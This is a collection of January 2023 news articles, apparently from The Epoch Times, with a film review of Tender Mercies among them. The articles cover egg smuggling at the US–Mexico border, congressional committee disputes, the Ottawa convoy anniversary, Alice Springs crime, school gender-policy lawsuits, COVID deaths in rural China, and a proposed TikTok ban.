The San Diego Field Office has recently noticed an increase in the number of eggs intercepted at our ports of entry. As a reminder, uncooked eggs are prohibited entry from Mexico into the U.S. Failure to declare agriculture items can result in penalties of up to $10,000. pic.twitter.com/ukMUvyKDmL  Director of Field Operations Jennifer De La O (@DFOSanDiegoCA) January 18, 2023

But officials say that bringing uncooked eggs from Mexico into the United States is illegal due to the risk of avian influenza and other diseases that affect birds. Industry officials have said that bird flu outbreaks among laying chickens have contributed to the price surge, although some farm groups say that the high prices are attempts to gouge customers.

There has been a large increase in the volume of prohibited food items, such as raw eggs and raw poultry meat, brought by travelers from Mexico. We would like to remind the traveling public that federal agricultural regulations remain in effect, De La O said in a news release.

The U.S. Department of Agriculture banned eggs from Mexico in 2012. The reason, it said (pdf) at the time, is due to the diagnosis of highly pathogenic avian influenza in commercial poultry in the country.

Alcordo told CNN that the rise in egg-smuggling attempts is caused by the high cost of eggs. Alcordo said that the increase has been reported at the popular Tijuana-San Diego crossing and other southwest border locations.

In most cases, Alcordo said, travelers declare that they have eggs while trying to cross. When that happens the person can abandon the product without consequence. CBP agriculture specialists will collect and then destroy the eggs (and other prohibited food/ag products) as is the routine course of action, Alcordo added.

Another official said that if someone is caught trying to smuggle them into the United States, they can face fines.

An attempt to root out smuggling starts with a basic line of questioning from the officer, and it leads up to our canine enforcement team for the agriculture inspectors. Our canines are trained to sniff out prohibited foods and merchandise, such as in this case the eggs, CBP Public Affairs Liaison Francisco Rodriguez told a local Texas affiliate KRGV-TV.

Collusive Scheme

A farmer advocacy group, meanwhile, claimed that the high egg prices are being caused by a collusive scheme among major egg producers to fix prices, according to a recent letter sent to the Federal Trade Commission. Claims that avian influenza caused the price surge are false, it said.

Recent flu figures seem to support the theory that the avian flu outbreak of 2022 was significant, its actual impact on the egg supply was minimal, the letter said. After accounting for chicks hatched during the year, the average size of the egg-laying flock in any given month of 2022 was never more than 7-8 percent lower than it was a year prior.

In a statement to Reuters, Cal-Maine said that higher production costs, along with avian flu, were contributing to higher prices. The American Egg Board, an egg marketing group, said in a statement that egg prices reflect a variety of factors and that wholesale egg prices are beginning to fall.

Reuters contributed to this report.
Democratic leadership has nominated high-profile Reps. Eric Swalwell and Adam Schiff to serve again on the House Intel Committee, pressing Speaker Kevin McCarthy to follow through on his vow to reject them. McCarthy meanwhile defended seating certain Republican members like Reps. George Santos, Marjorie Taylor Greene, and Paul Gosar on other committees.

A fourth batch of classified documents were found at President Joe Bidens home this weekend in Wilmington, Delaware, after a 13-hour search by the FBI that the Justice Department said was consensual.

A makeshift memorial was erected on Jan. 23 outside the Star Ballroom Dance Studio in Monterey Park, California, where 72-year-old Huu Can Tran opened fire and killed 10 people before taking his own life hours later.
Ottawa Police Planning for Potential Freedom Convoy Anniversary Protest

People demonstrate as part of the trucker convoy protesting COVID-19 mandates and restrictions in Ottawa on Jan. 30, 2022. (Jonathan Ren/The Epoch Times)

Ottawa will be increasing police presence downtown this weekend, ahead of the one-year anniversary of the Freedom Convoy, Ottawa Police Chief Eric Stubbs said.

The police will not be allowing any vehicle-based protests in the city, and Stubbs said the police have a scalable plan depending on how many protesters potentially arrive in the city.

Stubbs made the comments ahead of a Jan. 23 meeting of the Ottawa Police Services Board. He said police will be ready and that the ultimate goal of all this planning and preparing is to ensure that what happened last year doesnt happen this year.

The city has resources, tow trucks, and staffing plans in place, if a protest were to take place.

Our goal is not to have a vehicle-based protest, and if someone attempts a vehicle-based protest then we will take action to dismantle it fairly quickly, Stubbs said.

People want lawful, peaceful, and safe protests on Parliament Hill. We deal with that almost every day. Its the freedom of every Canadian to protest and we support people with that, but if its not lawful, peaceful, and safe, thats when we have to be more assertive, he told reporters.

A protester wearing a Canadian flag takes a photo of children playing in an inflatable bouncy castle on Wellington Street across from Parliaments West Block on the 21st day of a protest against COVID-19 mandates and restrictions in Ottawa, on Feb. 17, 2022. (Justin Tang/The Canadian Press)

Last year, on Jan. 28 and Jan. 29, the streets of downtown Ottawa were filled with rigs, trucks, live music, and bouncy castles as protesters called for the government to end vaccine mandates and government lockdowns.

How were going to approach a convoy 2.0 is to ensure that the downtown core is safe and that vehicle-based protests dont occur, said the police chief.

He added, if pedestrian-based protests do occur  it needs to be safe, it needs to be peaceful and lawful. And thats, of course, everyones right to do so.

Wellington Street, in front of Parliament Hill, has been closed to the public under a bylaw since the convoy one year ago. The police chief told reporters he supported the idea of opening it, but in December 2022, a federal committee of the House of Commons recommended that Wellington Street become part of Parliament under federal jurisdiction and security.

The Ottawa Police did not immediately respond to requests for comment.

However, a source involved with the organization of last years freedom convoy told The Epoch Times that organizers involved in the Ottawa protest have no plans for a repeat this year in the nations capital.

He said he has heard some discussions about a freedom convoy headed to Winnipeg.

James Bauder, associated with the group Canada Unity, originally planned a protest in Winnipeg with a stop in Ottawa, but called it off on Dec. 31, 2022, citing security concerns. Other organizers, including Ron Clark, and Tyson Billings (known as Freedom George) told reporters a convoy is still planned for Winnipeg in 2023.
1983 | PG | 1h 32m | Drama, Music

The world of moving pictures is a vast one, but not always that deep. When youve watched thousands of films, even some of the very good to great ones can get lost in the eddies of time and fading memories.

However, there are some gems out there that I can easily count on in terms of being so memorable that they stay with me. Watching them again is akin to picking up a bike for the first time in many years and feeling almost as familiar with it as the last time you rode one, gleefully peddling down the street as a light breeze brushes against your face.

Rear Window; 12 Angry Men; Its a Wonderful Life: These are those rare movies that will forever stay etched into my gray matter. But there is another film that draws from both the stories of angst and redemption of older country music (mainly from the 1990s and before), and actual biblical trials, tribulations, and eventual redemption.

Mac Sledge (Robert Duvall, C) begins to bond with Sonny (Allan Hubbard), in Tender Mercies (Universal Pictures)

Produced in 1983 and helmed by Aussie director Bruce Beresford, Tender Mercies is one of those films so understated that it slips under many a radar. And yet its a movie that Ill always refer to when people ask me about my favorites: simply told yet gracefully nuanced, with powerful scenes between superb actors so realistic that could happen right next door. Well, maybe not next door in this case.

You see, the tale begins at a shabby Texas roadside motel with an attached gas station, or is it the other way around? Anyway, its located smack-dab in the middle of nowhere, with nothing but dusty winds blowing tumbleweeds across parched prairies, under wide blue skies.

A fight is going down in one of the run-down rooms over the last swig of liquor. One of the men, has-been country star Mac Sledge (Robert Duvall), ends up on the losing side of the battle for the bottle and is tossed to the floor. (Talk about falling on hard times!)

All of this hullabaloo has woken up the proprietor of the establishment, widower Rosa Lee (Tess Harper), and her young son Sonny (Allan Hubbard). Not wanting to get involved, mother and son let the tattered screen door shut behind them as they disappear back into the darkness of the motels environs.

Mac wakes up just where he was put down, face down in the middle of the ransacked motel room, complete with empty beer cans, liquor bottles, and stains of who-knows-what on the carpet. He stumbles outside and meets Rosa, who informs him that hes been in the room (basically unconscious) for two days.

Lady, Im broke. Id be glad to work off what I owe you, Mac says to Rosa. Thus, he starts a slow, inward drifting orbit, first around the motel (having the integrity to work off his past due rent), then gradually descending into Rosas titular tender mercies.

(LR) Mac Sledge (Robert Duvall) Rosa Lee (Tess Harper), and Sonny (Allan Hubbard), in Tender Mercies. (Universal Pictures)

Soon, Rosa invites Mac in to eat with her and her son at the kitchen table. A few days later, she invites him to her local church, where she sings in the choir. As Mac sings the beautiful Christian hymn Jesus Saves with little Sonny at his side, everything looks to be going in the right direction, and romance may be on the horizon. But this is all within the first act of the movie; theres plenty of time for things to go askew.

After watching this film for the umpteenth time, I once again realize that I never tire of watching its subtle, brilliant cinematography. Whether it be long shots of the natural world captured in a way that lingers as if not wanting to end our view of such simple splendors, or patiently capturing the moments of human emotion exchanged between the principal characters, this is truly filmmaking at its finest.

Although it also has many faith-based elements, its relatable to anyone who has struggled in his or her life. As Rosa gradually begins to help Mac heal his broken spirit in the safe, almost convalescent-like environs of the motel, their journey is a very universal one of shared humanity.

A struggle of shared humanity. (LR) Rosa Lee (Tess Harper), Mac Sledge (Robert Duvall), and Sonny (Allan Hubbard), in Tender Mercies. (Universal Pictures)

Another thing I enjoy about this film is that it doesnt rely on gushing torrents of dialogue to move its simple-yet-nuanced story along. Rather, everything is edged ever gently forward through low-key acting performances that say more with peoples posturing and expressions than with words. This sort of minimalist approach has aged even better when compared to modern cinema filled with callous, empty sound and fury.

If youre looking for an inspiring movie that has an unusual sense of authenticity, heartfelt drama, and a good splash of romance, you can do no better than Tender Mercies.

As one of the Psalms goes: Have mercy upon me, O God, according to thy lovingkindness: according unto the multitude of thy tender mercies blot out my transgressions.

A journey of universal shared humanity is Tender Mercies. (Universal Pictures)

Tender Mercies

Director: Bruce Beresford

Starring: Robert Duvall, Tess Harper, Betty Buckley

MPAA Rating: PG

Running Time: 1 hour, 32 minutes

Release Date: March 4, 1983

Rated: 4.5 stars out of 5
Prime Minister Set to Visit Alice Springs Following Surging Lawlessness

A view of the town of Alice Springs in Australia's Northern Territory on October 13, 2013 (Greg Wood/AFP via Getty Images)

Australian Prime Minister Anthony Albanese, the Minister for Indigenous Affairs Linda Burney, and the Northern Territorys (NT) Chief Minister Natasha Fyles are set to visit Alice Springs amidst accelerating rates of crime, violence, and lawlessness, which have been labelled as a crisis by the towns authorities.

Federal Minister for Government Services Bill Shorten told Sky News on Jan. 24 that the situation in Alice Springs warrants immediate attention from the federal and territorial governments and no heavy-handed response.

There are real problems there, and I think its going to take partnership with the Northern Territory and the Federal Government to helpand the community, listening to the community to help fix it. But no one underestimates the problem, he said.

Former Opposition Leader Bill Shorten during Question Time in the House of Representatives at Parliament House in Canberra, Australia, on Mar. 17, 2021. (Photo by Sam Mooy/Getty Images)

Current crime statistics for Alice Springs have jumped, with assaults and domestic violence rates jumping by 38.01 percent and 47.22 percent, respectively.

Home and commercial property break-ins have risen 25.75 percent and 55.97 percent, respectively. Motor vehicle theft has also risen 39.88 percent.

Shorten said he believed that the solution to the crisis would need to come from the residents of Alice Springs.

Ive got no doubt that the people on the ground do have views about what resolves the violence. Resolving the violence wont just be a sort of uniform police issue. Itll be tackling the root causes of whats causing the heartache and the distress, Shorten said.

And that is happening in the Alice. So, the local community with state and territory governments and ourselves will, I think, come up with the answers. But it is a crisis. Theres no question there are real problems there.

Northern Territorys Removal of Alcohol Bans Under Scrutiny

As the crisis continues, concerns have risen that the removal of long-term alcohol bans by the government has contributed to the growing situation.

The bans were first implemented in 2007 during the federal governments Northern Territorys Emergency Response, also known as the NT Intervention, under Prime Minister John Howard. They were then continued in 2012 under Prime Minister Julia Gillards Stronger Future legislation (pdf), which expired in July 2022.

At the time of the removal, the federal government said that it supports the right of Indigenous people in the NT to determine their futures and live strong, independent lives, where communities, families and children are safe and healthy.

When asked if the federal government would be looking to reinstate the alcohol bans in the NT, Shorten said that it was the NT governments given view that they dont think there should be those bans.

Ill wait to see what the people on the ground say to our federal representatives when theyre there. I think that the issues will be more than just alcohol, though, Shorten said.

The last thing people in Alice Springs need is a politician sitting in the comfort of a Sky studio in Canberra telling them this is what you need to do. The solutions are going to come from the community. Im not going to start outlining a five-point plan myself from Canberra, but I do think that itll be more than just alcohol in the community.

The Northern Territory Police Commissioner James Chalker told ABC Radio on Jan. 24 said he believed alcohol was part of the problem.

It is certainly our view that thats part of the problem at the moment, Chalker said.

The commissioner noted that the police in Alice Springs were seeing 300 people split across two bars drinking from mid-morning then leaving with more alcohol when take-away sales open at 2 p.m.

That causes part of the problem and certainly lifts community apprehension when they see so many people already on the way to intoxication, he said.

The commissioner noted that, at present, the police in Alice Springs had filled the jail, but they were still seeing the social problems continuing to present. He warned that authorities could not arrest their way out of this problem.

Chalker noted that this was compounded by the fallout from failed social policies, including welfare dependence, adding to the problem.

Theres a lot of services that just simply are not available on the ground in these remote communities, he said.

You add alcohol consumption into the mix and family tensions, and then were dealing with the fallout of that too.

Opposition Calls For Intervention

The visit comes after calls for the federal government to intervene in the growing crisis, with Opposition Leader Peter Dutton calling for a Royal Commission into the situation.

Ive called for a Royal Commission in relation to the disaster, the tragedy, thats unfolding in Alice Springs, Dutton said in a press conference on Jan. 18. I asked this of the prime minister when we were in Parliament before Christmas.

There will be vigilante action in Alice Springs because people are completely at the end of their tether, Dutton said.

Australian Defence Minister Peter Dutton addresses the media in front of the Subiaco War Memorial in Perth, Australia, on April 19, 2021. (AAP Image/Richard Wainwright)

Speaking to Channel Nine on Jan. 24, Dutton said that if there was a similar situation happening in other parts of the country, there would be outrage.

There are reports of kids running around with machetes, children not wanting to go back home because they feel its unsafe to stay there so theyre out committing crimes, he told Nines Today program.

Its a law and order and crime problem, and we want those kids to grow up in a safe environmentand the prime minister has the resources, has the ability, and should show the leadership to deal with this issue.
Protect a Parents Right to Parent: Wisconsin Parents Appeal Against School Policy of Secretly Transitioning Children

A group of Wisconsin parents are appealing against a lower court decision that dismissed their lawsuit challenging a policy of the Madison Metropolitan School District (MMSD) allowing children to undergo gender transition without gaining parental consent.

The policy calls on school employees to assist children of any age to adopt gender identities that are at odds with their biological sex. Employees do not have to seek consent from parents while transitioning the students, and are also asked to conceal such information from families unless children give consent to do so.

The lawsuit, filed by attorneys with the Wisconsin Institute for Law and Liberty (WILL) and the Alliance Defending Freedom (ADF), states that the school districts policy violates the rights of parents as protected by the constitution. In November last year, the trial court dismissed the case. On Monday, the attorneys filed their opening brief with the Wisconsin Court of Appeals.

Parentsnot school boardshave the fundamental right to direct the upbringing, care, and education of children, said ADF Senior Counsel Roger Brooks, according to a Jan. 23 ADF post.

It is essential that school officials not hide information from parents if their child struggles with any type of mental or physical condition at school so they can make the best, informed decisions to protect the childs health and wellbeing. Were asking the Wisconsin Court of Appeals to protect a parents right to parent.

School Policy On Student Gender, Preventing Harm to Minors

A booklet issued by the Madison Metropolitan School District outlines the steps that staff can take in support of children confused about their gender identity. It instructs that all personally identifiable information of such students be kept confidential per local, state, and federal laws.

Staff members are prohibited from revealing information about a students gender identity to parents, guardians, or other members of the staff unless they are legally obligated to do so.

If a staff member were to not respect a students chosen pronoun or name, it would be deemed a violation of the school districts non-discrimination policies.

The lawsuit, Doe versus MMSD, was filed in 2020 at the Dane County Circuit Court. In the opening brief filed on Monday at the appeals court, attorneys argued that the lawsuit is the only way to prevent lifelong harm to minors and preserve parents constitutional rights.

No professional organization recommends that untrained school officials secretly facilitate gender transitions without involving parents and experts, it stated.

Sexual Talks With Students, Growing Parental Dissatisfaction With Schools

In Ohio, a school district is facing a lawsuit from a group of parents who accuse it of allowing teachers to conduct private conversations on sexual attitudes and behaviors with students. The lawsuit was filed by eight parents against the Hilliard School District at the United States District Court for the Southern District of Ohio on Jan. 16.

The Defendant Hilliard School District is allowing activist teachers (as opposed to trained, supervised counselors) to specifically solicit from children as young as six-years old, private, intimate conversations about sexual behaviors, sexual attitudes, mental and psychological questions of the student and the students family, and private religious practices, the lawsuit states.

The lawsuit wants teachers to stop talking about gender and sexuality with children without parental consent. It also asks the court to order teachers to stop wearing LGBTQ badges containing QR codes that link to adult resources on sexual education and coming out.

Meanwhile, parents are becoming dissatisfied with schools. According to a survey of 3,800 parents by the National School Choice Week, almost 54 percent are considering a new school for their kids.

The younger the parents were, the more dissatisfied they were found to be. Among parents in the age group of 18 and 29, roughly 6 in 10 were considering shifting schools. Among parents between the ages of 30 and 44, just over half were thinking about such a move.
Rep. Jeffries Nominates Schiff, Swalwell for Intelligence Committee Despite McCarthys Vows of Removal

House Minority Leader Hakeem Jeffries (D-N.Y.) answers questions during a press conference at the U.S. Capitol on Jan. 12, 2023 in Washington. (Win McNamee/Getty Images)

House Minority Leader Hakeem Jeffries (D-N.Y.) has nominated Reps. Adam Schiff (D-Calif.) and Eric Swalwell (D-Calif.) for seats on the House Intelligence Committee, despite Speaker Kevin McCarthys (R-Calif.) repeated promises to keep them off that panel.

In the last Congress, Schiff served as chairman of the committee. Swalwell was also a member.

I write today to submit for renomination two eminently qualified legislators to continue their service on the House Permanent Select Committee on Intelligence: Ranking Member Adam Schiff and Representative Eric Swalwell of California, Jeffries wrote in a Jan. 21 letter (pdf) to McCarthy.

It is my understanding that you intend to break with the longstanding House tradition of deference to the minority party Intelligence Committee recommendations and deny seats to Ranking Member Schiff and Representative Swalwell, he continued. The denial of seats to duly elected Members of the House Democratic Caucus runs counter to the serious and sober mission of the Intelligence Committee.

According to the rules (pdf) of the House of Representatives, the speaker shall appoint all select, joint, and conference committees ordered by the House and may remove and appoint additional members after an initial appointment. The House Intelligence Committee is a permanent select committee.

No more than 13 members on the panel can be of the same party, and while the rules do not require the speaker to defer to the minority leaders nominees, traditionally, that has been the case.

Arguments Over Precedent

Since November, McCarthy has been outspoken about his intentions to remove Schiff and Swalwell from their committee assignments, holding that Schiff has lied to the American public and that Swalwells former association with a suspected Chinese spy makes him a security liability.

Both Democrats have responded to McCarthys comments on the matter with criticism, with Schiff holding that the Republican is a very weak leader of his conference and Swalwell accusing him of acting out of political vengeance.

McCarthy, however, has defended his position by citing the treatment of Republican members in the last Congress by former Speaker Nancy Pelosi (D-Calif.) and the Democrats as precedent.

The Democrats have created a new thing where theyre picking and choosing who can be on committees, McCarthy told Breitbart News on Jan. 9. Never in the history [of Congress] have you had the majority tell the minority who can be on committee. But this new standard, which these Democrats have voted forif Eric Swalwell cannot get a security clearance in the private sector, there is no reason why he should be given one to be on Intel or Homeland Security. He will not be serving there.

Jeffries, however, pushed back on that reasoning in his Saturday letter.

In the 117th Congress, two Members were removed from their committee assignments after a bipartisan vote of the House found them unfit to serve on standing committees for directly inciting violence against their colleagues, he wrote. This action was taken by both Democrats and Republicans given the seriousness of the conduct involved, particularly in the aftermath of a violent insurrection and attack on the Capitol. It does not serve as precedent or justification for the removal of Representatives Schiff and Swalwell, given that they have never exhibited violent thoughts or behavior.

In 2021, the House voted on separate occasions to strip Reps. Marjorie Taylor Greene (R-Ga.) and Paul Gosar (R-Ariz.) of their committee assignments over controversial social media posts they had made.

Greenes comments, made prior to her becoming a U.S. representative, involved speculation that the 9/11 terror attacks were a false flag and the allegation that deadly school shootings had been staged. There were also reports that Greene had liked a Facebook comment that advocated for putting a bullet to the head of Pelosi. Prior to the House vote, Greene expressed regret over her words of the past, stating that they did not represent her.

Gosar, on the other hand, was censured by the House for sharing a video on Twitter in which one anime characterwith his face superimposed over itstruck down another bearing the face of Rep. Alexandria Ocasio-Cortez (D-N.Y.). Gosar removed the video prior to his censure and committee removal, stating that he did not espouse violence towards anyone and that the cartoon was meant to represent the symbolic nature of a battle between lawful and unlawful policies.

Also in 2021, Pelosi rejected McCarthys nominations of Reps. Jim Jordan (R-Ohio) and Jim Banks (R-Ind.) for the Jan. 6 Committee, angering the then-minority leader to the point where he withdrew the rest of his nominees from consideration.

Jeffries did not address that dispute in his letter but added that he felt a double standard was at play given that Rep. George Santos (R-N.Y.)recently the subject of backlash for misrepresenting his education and work experiencehas been assigned to two committees.

The apparent double standard risks undermining the spirit of bipartisan cooperation that is so desperately needed in Congress, Jeffries wrote.

In closing the letter, the minority leader urged McCarthy to honor past practice of the House of Representatives and our mutual interest in working together for the good of the American people by accepting his recommendation of Schiff and Swalwell to the House Intelligence Committee.

McCarthys office did not return The Epoch Times request for comment by press time.
Residents in Rural China Describe Huge Surge in Deaths Amid COVID Crisis

People wait in the emergency department of a hospital in Beijing, China, on Jan. 3, 2023. (Jade Gao/AFP via Getty Images)

Residents in rural China have described a surge in deaths in their townships and local crematoriums operating around the clock amid a severe COVID wave sweeping the country.

As Chinese officials acknowledge that 80 percent of the population has been infected with COVID-19, concerns have risen about the outbreak situation in the countryside, given the extreme shortage of medical supplies and resources in rural China. This problem has been exacerbated as millions of Chinese traveled from the cities back to their hometowns during the Lunar New Year festivities, which started over the weekend of Jan. 21.

Following its well-worn playbook over the pandemic, the Chinese regime has vastly underreported the number of fatalities in the latest outbreak. But widespread accounts from residents, frontline workers, and crematorium workers point to a death toll significantly higher than the official count.

Residents and a doctor who spoke to the Chinese-language edition of The Epoch Times before the Lunar New Year on Jan. 22 described severe outbreaks in rural China, leading to many deaths, particularly among the elderly.

All interviewees who spoke with The Epoch Times provided their surnames only for fear of reprisals.

Deaths

Mr. Zou, from a township of around 20,000 people in Yueyang, South Central China, estimated that the recent deaths were multiple times that of the same time span in past years.

At least five elderly around him were gone, more than a dozen of his elder brothers friends had died, and it was rumored that there were many more deaths. I was told about 100 to 200, he said.

And consequently, he said, The queue for cremation was huge.

Local officials suggested cremation, he said, But about two-thirds of the dead were buried because there are many farmlands in the village, aligned by some deserted ditches, canals, embankments, and hillsides, which can be used for burial.

According to Zou, funeral sheds were seen on nearly every street in the village.

Its really scary when there are so many deaths.

During that time, it felt like the sky was dark and gloomy and filled with a plague atmosphere. He said, Everyone was panicking and worried if the elderly at home would survive.

He anticipated that there would not be any funerals held during the two-day Lunar New Year time.

He said, This is very serious, never seen in thousands of years of history, a scar that will forever remain.

Patients on stretchers are seen at Tongren hospital in Shanghai on Jan. 3, 2023. (Hector Retamal/AFP via Getty Images)

2 to 3 Times More Cremations

Mr. Wang, a villager in Qianshan County, Anhui Province, said that at least three elderly among his friends and relatives died in December 2022.

He said, on average, local crematoriums would cremate around 50 bodies daily in a peak month such as December, but in December 2022, the numbers of cremations were two- to threefold higher than in the past year.

With the local situation, he estimated that about 4 million elderly have passed away nationwide.

He said there are four cremation furnaces in his area, and during the peak, they operated overtime all night so that all the deceased in his area were cremated.

He said: This is a fact, theres no need to exaggerate. The young people accounted for about 2 to 3 percent [deceased], and the rest were elderly, mainly in their 80s and 90s.

A Chinese netizen commented in a post: There are 691,510 administrative villages nationwide. Even if there is an average of 10 deaths in one village, therell be a total of 6,915,100 deaths in the Chinese villages.

According to a 2021 research article from the School of Geography Science and Tourism, Shaanxi Normal University, the 2016 official data showed there were around 520,000 administrative villages in China.

Entire Family Perishes

Ms. Bao from Shijiazhuang, North China, said a family in her apartment complex lost two family members in one day. The father died in the morning, and the son was gone in the afternoon. It was such a tragedy; it was really a sad day. That was in December 2022, she said.

In less than a month after the regime opened up the borders, her apartment complex had posted 11 deaths. There were three obituaries on the message board [in the community complex] the other day when I took a walk outside, she said.

Mr. Yang from Jinhua, Zhejiang Province, said that this winter is a difficult time for the elderly. Those elderly, in their 70s and 80smany have passed away because of the infection and lack of heat. Some even committed suicide because its too painful.

A 70-year-old in his village jumped into the river, and someone in the neighboring village died in the pond, he said.

There were about 500 households in his village. Death happens almost every other day. About eight to 10 people have died, he said. In mid-to-late December 2022, the pandemic hit the locals seriously.

Yang said, When the COVID policy was relaxed, no one dared go out. The street was empty. Even so, everyone was infected.

A doctor surnamed Li from Shanxi told The Epoch Times that many people died, both old and young, and some died suddenly during the recovery period.

About 90 percent of the people have contracted the virus, and I tested positive, too. It was said that more than 4,000 people have died in our township, and [there are] around dozens of deaths in each surrounding village.

He said that a family of four all perished after battling the infection for 20 days.

Cheng Jing, Yi Ru, and Xiong Bin contributed to this report.

Correction: The estimated number of deaths in Chinese villages has been corrected. The Epoch Times regrets the error.
San Diego Community College District Fires 3 Employees Over Vaccine Mandate

A nurse is handed a dose of the Pfizer COVID-19 vaccine before administering it to a college student at a mobile vaccination clinic at the California State University Long Beach campus in Calif., on Aug. 11, 2021. (Patrick T. Fallon/AFP via Getty Images)

The San Diego Community College District terminated three employeesa professor, a counselor, and a lab technicianlast week for refusing to be vaccinated against COVID-19, even though they had exemptions based on religious beliefs.

According to district officials, employees can be exempt from job-related requirements due to a disability or religious belief as long as they dont impose an undue burden on the employer, based on the Americans with Disabilities Act and the California Fair Employment and Housing Act.

The officials, who didnt elaborate on what undue burdens may have been present, did say that the health and safety of the employee and others was a key consideration.

The district had announced last June that students would no longer be required to be vaccinated against COVID-19 to attend classes in person, effective with the fall 2022 semester.

A district spokesperson explained the differences between requirements for students and staff, telling The Epoch Times in an email that students have more options in how they interact with others, including ways that dont require in-person contact, while employees do not have that much discretion in how and when they will interact with others, and they typically [work] onsite in close contact with others for much longer periods of time than students.

Joanna Aud, one of the employees who was fired, said in an interview with local news outlet KUSI that her request for a reasonable accommodation was denied.

I could be in [a] class as a student  No problem. But, I have been denied accommodation to prep that class alone in an empty classroom. So thats an undue hardship? But it would be totally OK if I was a student.

The district, according to officials, is reviewing at least seven other cases, which may also lead to termination.
Sen. Josh Hawley to Introduce Bill Banning TikTok From US

Sen. Josh Hawley (R-Mo.) speaks during a Senate Homeland Security Subcommittee on Emerging Threats and Spending Oversight on Capitol Hill in Washington on Aug. 3, 2022. (Drew Angerer/Getty Images)

Sen. Josh Hawley (R-Mo.) is introducing legislation to ban social media app TikTok from distribution in the United States.

Hawley announced the bill on Twitter early Jan. 24, saying that the app gives Chinas communist regime a means of violating the privacy of Americans, including children.

TikTok is Chinas backdoor into Americans lives, Hawley said. It threatens our childrens privacy as well as their mental health.

Last month Congress banned it on all government devices. Now I will introduce legislation to ban it nationwide.

TikTok decried the move, saying that a ban on the app would not solve Hawleys national security concerns.

Sen. Hawleys call for a total ban of TikTok takes a piecemeal approach to national security and a piecemeal approach to broad industry issues like data security, privacy, and online harms, said a TikTok spokesperson in an email to The Epoch Times.

We hope that he will focus his energies on efforts to address those issues holistically, rather than pretending that banning a single service would solve any of the problems hes concerned about or make Americans any safer.

TikTok Used by China to Violate Americans Rights



Hawleys announcement is just the latest in a long series of blows to the embattled social media company, which has been dogged by reports of its connections to the Chinese Communist Party (CCP), which rules China as a single-party state.

Hawley originally introduced the No TikTok on Government Devices Act in 2020, which sought to ban the use of the app on all government-owned devices due to such national security concerns. Another version of that bill was signed into law in late December 2022.

In light of all we know, it is unthinkable to me that we should continue to permit federal employees, those workers entrusted with sensitive government data, to access this app on their work phones and computers, Hawley said at the time.

Im encouraged by the bipartisan support we have seen in this body to hold the Chinese Communist Party accountable and that includes, by the way, holding accountable those corporations who would just do Chinas bidding.

Similarly, national security and intelligence leaders have warned that TikTok poses a national security threat due to its connections to its parent company, Beijing-based ByteDance, which itself has numerous ties to the CCP.

Because the parent company of TikTok is a Chinese company, the Chinese government is able to insist upon extracting the private data of a lot of TikTok users in this country, and also to shape the content of what goes on to TikTok as well to suit the interests of the Chinese leadership, said CIA Director William Burns during a December interview with PBS.

Likewise, FBI Director Christopher Wray said the app could be used to collect data on Americans for the CCP and to conduct untold numbers of influence operations.

The Chinese government could use it to control data collection on millions of users or control the recommendation algorithm, which could be used for influence operations if they so chose, or to control software on millions of devices which gives it opportunity to potentially technically compromise personal devices, Wray said during a House Homeland Security Committee hearing in November.

Moreover, a class-action lawsuit filed in December claims that TikTok violates state laws against wiretapping, because the app records every keystroke, click, swipe, and text communication, including information written but not sent by the user, when users enter other websites through the app.

That data is not passively stored, nor is it kept in the United States.

An internal investigation revealed in December that employees at ByteDance used the companys access to TikTok user data to illicitly track American journalists who broke stories documenting the companys ties to the CCP regime.

In that instance, ByteDance employees stalked U.S. journalists on U.S. soil by gaining access to the journalists IP addresses and other user data through TikTok and then cross-referencing that data to identify whether the journalists had frequented the same areas as ByteDance employees.

Relatedly, because ByteDance transferred that data to China, it is now subject to the CCPs national security, cybersecurity, and data laws, which mandate that companies in China provide any and all data to the communist regime upon request.

Hawley has not specified when his bill will be introduced. The Epoch Times has requested further comment from Hawleys office.
Shell Resumes Gas Supply to Australian Market

A photograph taken on March 8, 2022, shows the logo of energy giant Shell at a petrol station, in Bochum, western Germany.(Ina Fassbender/AFP via Getty Images)

Global energy giant Shell has lifted its suspension on new gas contracts to Australian businesses a week after the competition watchdog warned it would penalise companies that breach the temporary gas price orders.

Following a near six-week freeze on gas talks in response to the federal governments emergency cap on wholesale gas prices at $12 per gigajoule, Shell is offering an additional eight petajoules of gas to the domestic market.

Typically, for the majority of the market, retailers and customers contract gas well in advance of the required supply period, Shell said in a statement.

However, in light of the significant ongoing regulatory changes impacting the gas market, QGC (Queensland Gas Company) believes it is important to offer additional gas for delivery in 2023 under an Expression of Interest (EOI) at this time.

Shell, the operator of QGC, anticipates that additional supply will be on offer to the market later in the year.

With the resumption of talks, Shell repeated its call for the government to create a policy aimed at encouraging new supply.

Squeezing gas from the north to the south is neither a sustainable nor an affordable way to supply customers in southern markets, it said.

Currently, Queensland is providing 80 percent of the gas supply for the east coast gas market, which covers every jurisdiction except Western Australia and the Northern Territory. It also covers almost 90 percent of the Australian population.

We need to shift from the current patchwork of competing and inconsistent regulatory interventions with their unintended consequences to solutions which will deliver long-term energy security and prosperity for Australians, Shell said.

On Dec. 14, the company had paused its EOI process to supply an additional 50 petajoules of gas to customers over the 2023-24 period, saying the new law did little to address the underlying supply problems with the market.

We look forward to continuing to supply our customers and investing in the energy Australia needs to transition to net-zero, including gas, wind, solar, and batteries. But we must have a stable regulatory and policy environment to create the right signals which encourage this investment, Shell said in a previous statement.

Uncertainty Remains Despite Guidance

The Australian Competition and Consumer Commission (ACCC) published its interim guidance on Jan. 17 to help the gas industry comply with its new obligations.

Companies that breach the order will face a fine of $50 million (US$35 million), three times the value of benefits obtained, or 30 percent of turnover during its period of misconduct.

However, after reviewing the guidelines, Samantha McCulloch, CEO of the Australian Petroleum Production and Exploration Association (APPEA), said they did little to resolve the industrys uncertainties.

The interim guidelines re-enforce the disconnect between the policy and the operations of the Australian gas market in practice, she said on Jan. 19.

With up to $50 million penalties, it is entirely reasonable for the industry to require certainty of the rules under which it is being asked to operate. But the government is still writing the rule book.

McCulloch called on the government to take note of the laws unintended consequences.

As the Code of Conduct process advances, we hope that lessons will be learned from the price cap experience, where poorly conceived interventions are creating uncertainties and, in turn, damaging and immediate impacts on the functioning of the market to the detriment of consumers, she said.

The federal government introduced the price caps on Dec. 23, 2022, in response to soaring energy prices. The policy will be reviewed six months after its implementation.

It applies solely to the wholesale gas market, where 2022 spot prices across the National Energy Market reached record highs in winter, more than tripling compared to 2021 (from $58 to $216 megawatts per hour), while also being highly volatile (pdf).
South Africa Defends Planned Military Drills With Friends Russia and China

